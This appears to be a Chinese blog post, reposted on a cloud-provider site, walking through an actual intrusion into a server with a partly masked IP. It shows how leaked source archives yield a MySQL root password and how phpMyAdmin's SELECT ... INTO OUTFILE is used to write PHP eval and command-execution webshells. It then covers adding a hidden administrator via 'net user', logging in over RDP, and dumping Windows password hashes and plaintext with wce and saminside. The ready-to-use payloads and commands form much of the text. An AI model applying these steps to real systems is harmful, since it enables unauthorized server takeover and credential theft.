溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

PhpMyadmin是如何利用Mysql root密碼獲取webshell的

發(fā)布時間:2020-06-02 11:32:26 來源:網絡 閱讀:999 作者:三月 欄目:建站服務器

本文主要給大家介紹PhpMyadmin是如何利用Mysql root密碼獲取webshell的,文章內容都是筆者用心摘選和編輯的,具有一定的針對性,對大家的參考意義還是比較大的,下面跟筆者一起了解下PhpMyadmin是如何利用Mysql root密碼獲取webshell的吧。

Simeon

   Phpmyadmin是一款著名的mysql在線管理系統(tǒng),通過提供的mysql數(shù)據庫用戶賬號和密碼對所管理的數(shù)據庫實施操作。在***過程中,一旦獲取其mysql賬號和對應的密碼,輕者獲取其賬號所管理數(shù)據庫,重者可以配合其它漏洞獲取webshell權限和系統(tǒng)權限。Root賬號及口令可以通過暴力破解,源代碼泄露等途徑獲取,本文主要就其root賬號獲取以及phpmyadmin的利用、如何導出webshell等進行探討。

Mysql root賬號及密碼在phpmyadmin中的利用思路主要有以下幾個方面:

(1)獲取所有數(shù)據庫中敏感表中的內容。例如涉及系統(tǒng)配置的表,涉及CMS管理的各種管理員表以及用戶賬號的表。通過這些表獲取管理員賬號和密碼,各種配置信息。

(2)獲取網站的真實物理路徑。網站的真實物理路徑主要用來導出webshell,其方法主要有程序報錯、phpinfo函數(shù)、程序配置表等。

(3)通過查詢語句直接將一句話后門導入到網站目錄或者phpmyadmin所在目錄。

(4)獲取webshell后,如果是windows系統(tǒng)則可以嘗試進行提權。

(5)有些網站可能前期被***過,網站可能有webshell,特別是一句話后門,如果有后門則可以通過一句話后門暴力破解獲取。

(6)無法獲取網站的真實路徑情況下,則意味著無法直接導出一句話webshell,可以通過CMS系統(tǒng)管理賬號登錄系統(tǒng)后,尋找漏洞來突破,例如dedecms則可以通過破解管理員賬號后直接上傳文件來獲取webshell。

(7)如果目標不僅僅是一個網站,則可以通過分析獲取的密碼信息對相鄰或者已知目標系統(tǒng)進行***利用,例如掃描SSH口令、Mysql口令等。

(8)很多提供phpmyadmin的網站往往會存在目錄泄露和代碼泄露等漏洞,通過泄露的代碼來獲取數(shù)據庫口令,審計泄露代碼獲取漏洞并利用。

(9)phpmyadmin某些版本存在遠程執(zhí)行以及包含等漏洞,可以通過這些漏洞直接獲取webshell。

   下面是一個實際利用的實例。

1.對IP所在端口進行全端口掃描

   在Nmap中輸入IP地址,選擇“Intense scan,all Tcp port”,掃描結果顯示該IP開放了135、1026、3306、3389、80等端口,詳細端口開放情況如圖1所示,在實際***過程中可以在瀏覽器中對逐個端口進行一一訪問,當然一些比較明顯的端口就不用測試了。有些云服務器為了提供多個服務,有時候會開放多個端口,端口越多意味著可以利用的漏洞也就越多。

                            PhpMyadmin是如何利用Mysql root密碼獲取webshell的

圖1端口開放情況

2.對IP地址進行域名反查

   將該IP在域名反查網站中進行查詢,如圖2所示,顯示該IP存在3個網站。

PhpMyadmin是如何利用Mysql root密碼獲取webshell的

圖2域名反查

3.對網站IP進行訪問

   在瀏覽器中直接輸入該IP進行訪問,發(fā)下該IP下存在phpmyadmin目錄、源代碼、數(shù)據庫備份文件等,如圖3所示。其中可下載文件列表:

http://182.xx.xxx.16/mxsy_newzs.sql

http://182.xx.xxx.16/szcmsw.sql

http://182.xx.xxx.16/szcmsw11.sql

http://182.xx.xxx.16/hs.zip

http://182.xx.xxx.16/Z-BlogPHP_1_4_Deeplue_150101.zip

PhpMyadmin是如何利用Mysql root密碼獲取webshell的

圖3 云服務器所在IP存在目錄泄露等漏洞

4.獲取數(shù)據庫口令

   分別下載網站泄露的壓縮文件和數(shù)據庫文件,下載文件后將壓縮文件進行解壓,然后尋找數(shù)據庫配置文件。解壓hs.zip后,在其data目錄下的common.inc.php文件中獲取了其數(shù)據庫配置,如圖4所示,但很明顯該密碼不是真正的數(shù)據庫密碼,應該是某一個cms的源代碼程序包。繼續(xù)對每一個泄露的目錄進行訪問,發(fā)現(xiàn)szcms1目錄下還存rar文件,http://182.xx.xxx.16/szcms1/szcms.rar和http://182.xx.xxx.16/szcms1/szcms1.rar如圖5所示。將其下載后進行解壓縮,成功找到數(shù)據庫配置文件。

PhpMyadmin是如何利用Mysql root密碼獲取webshell的

圖4獲取數(shù)據庫配置文件內容

PhpMyadmin是如何利用Mysql root密碼獲取webshell的

圖5再次發(fā)現(xiàn)泄露源代碼壓縮文件

5.登錄phpmyadmin

   使用在前面szcms1.rar中獲取的root賬號密碼進行登錄,如圖6所示成功登錄,可以看到該mysql數(shù)據庫中共有7個有用的數(shù)據庫。可以選擇數(shù)據庫,然后選擇“導出”,將指定數(shù)據庫導出到本地(傳說中的***,盡量別干?。?。

PhpMyadmin是如何利用Mysql root密碼獲取webshell的

圖6登錄phpmyadmin

6.導出一句話后門到云服務器

   目前導出一句話后門的方法有以下幾種:

   (1)創(chuàng)建表方式

CREATE TABLE `mysql`.`darkmoon` (`darkmoon1` TEXT NOTNULL );

INSERT INTO `mysql`.`darkmoon` (`darkmoon1` ) VALUES('<?php @eval($_POST[pass]);?>');

SELECT `darkmoon1` FROM `darkmoon` INTO OUTFILE'd:/www/exehack.php';

DROP TABLE IF EXISTS `darkmoon`;

    上面代碼是在mysql數(shù)據庫中創(chuàng)建darkmoon表,然后加入一個名字為darkmoon1的字段,并在darkmoon1的字段中插入一句話代碼,然后從darkmoon1字段里面導出一句話到網站的真實路徑“C:/WWW/szcms1/szcms/Public/”,最后就是刪除darkmoon這個表。

    注意:在使用以上代碼時必須選擇mysql數(shù)據庫,并在phpMyAdmin中選擇SQL,然后執(zhí)行以上代碼即可。需要修改的地方是網站的真實路徑和文件名稱“C:/WWW/szcms1/szcms/Public/ exehack.php”

(2)直接導出一句話后門文件

   select '<?php@eval($_POST[pass]);?>'INTO OUTFILE 'd:/www/p.php'

   如果顯示結果類似“您的 SQL 語句已成功運行 ( 查詢花費 0.0006 秒 )”表明后門文件生成成功。

(3)直接執(zhí)行命令權限的shell

select '<?php echo\'<pre>\';system($_GET[\'cmd\']); echo \'</pre>\'; ?>' INTOOUTFILE 'd:/www/cmd.php'

該方法導出成功后可以直接執(zhí)行DOS命令,使用方法:www.xxx.com/cmd.php?cmd=(cmd=后面直接執(zhí)行dos命令)。

在本例中執(zhí)行導出腳本語句后,網站給掛了,訪問不了云服務器這比較郁悶,嘗試通過mysql數(shù)據庫客戶端連接工具“Navicat for MySQL”,新建一個連接,將ip地址等信息全部輸入“Navicat for MySQL”中,成功連接,如圖7說是。運氣真好!

PhpMyadmin是如何利用Mysql root密碼獲取webshell的

圖7使用Navicat forMySQL連接mysql數(shù)據庫

通過訪問http://182.xx.xxx.16/szcms1/szcms/Public/Home/p_w_picpaths/micro_r4_c2.png來獲取網站的真實物理路徑C:\WWW\szcms1\szcms\Tp\,如圖8所示。

PhpMyadmin是如何利用Mysql root密碼獲取webshell的

圖8獲取真實路徑

然后在mysql數(shù)據庫中分別執(zhí)行:

CREATE TABLE`mysql`.`darkmoon` (`darkmoon1` TEXT NOT NULL );

INSERT INTO`mysql`.`darkmoon` (`darkmoon1` ) VALUES ('<?php@eval($_POST[pass]);?>');

SELECT`darkmoon1` FROM `darkmoon` INTO OUTFILE 'C:/WWW/szcms1/szcms/Public/exehack.php';

DROP TABLE IFEXISTS `darkmoon`;

    對導出的webshell在網站進行訪問測試,如圖9所示,如果沒有顯示錯誤,則表示可以運行,在中國菜刀一句話后門管理中添加該地址直接獲取webshell,如圖10所示。

PhpMyadmin是如何利用Mysql root密碼獲取webshell的

圖9通過目錄泄露漏洞查看文件是否導出成功

PhpMyadmin是如何利用Mysql root密碼獲取webshell的

圖10獲取webshell

9.云服務器提權

  (1)wce直接獲取明文密碼失敗

通過中國菜刀隊遠程終端命令,直接在其中執(zhí)行命令,執(zhí)行whoami命令顯示為系統(tǒng)權限,上傳wce64.exe并執(zhí)行“wce64 -w”獲取當前登錄明文密碼,如圖11所示,結果未能獲取密碼,直接獲取明文密碼失敗。

PhpMyadmin是如何利用Mysql root密碼獲取webshell的

圖11執(zhí)行命令

(2)直接添加管理員

   在前面的端口掃描中顯示該云服務器開啟了3389端口,既然webshell可以執(zhí)行命令,直接執(zhí)行“netuser temp temp2005 /add”和“ net localgroup administrators temp /add”命令添加一個管理員用戶temp,密碼為temp2005,如圖12所示成功添加temp用戶到管理員組中。

PhpMyadmin是如何利用Mysql root密碼獲取webshell的

圖12添加temp用戶到管理員組

(3)登錄3389

    在本地打開mstsc.exe直接輸入用戶名和密碼進行登錄,如圖13所示成功登錄該云服務器。

PhpMyadmin是如何利用Mysql root密碼獲取webshell的

圖13成功登錄該云服務器

(4)獲取管理員密碼hash和明文

  登錄云服務器后,通過瀏覽器下載一個saminside程序,如圖14所示,直接獲取系統(tǒng)的hash值。將該哈希值導出到本地,通過ophcrack程序進行破解。

PhpMyadmin是如何利用Mysql root密碼獲取webshell的

圖14獲取系統(tǒng)hash值

   然后再次上傳一個wce64修改版本,免輸入一鍵獲取密碼,如圖15所示,成功獲取adminstrator的密碼“123321abc*”。

PhpMyadmin是如何利用Mysql root密碼獲取webshell的

圖15獲取系統(tǒng)管理員密碼

看完以上關于PhpMyadmin是如何利用Mysql root密碼獲取webshell的,很多讀者朋友肯定多少有一定的了解,如需獲取更多的行業(yè)知識信息 ,可以持續(xù)關注我們的行業(yè)資訊欄目的。

向AI問一下細節(jié)

免責聲明:本站發(fā)布的內容(圖片、視頻和文字)以原創(chuàng)、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI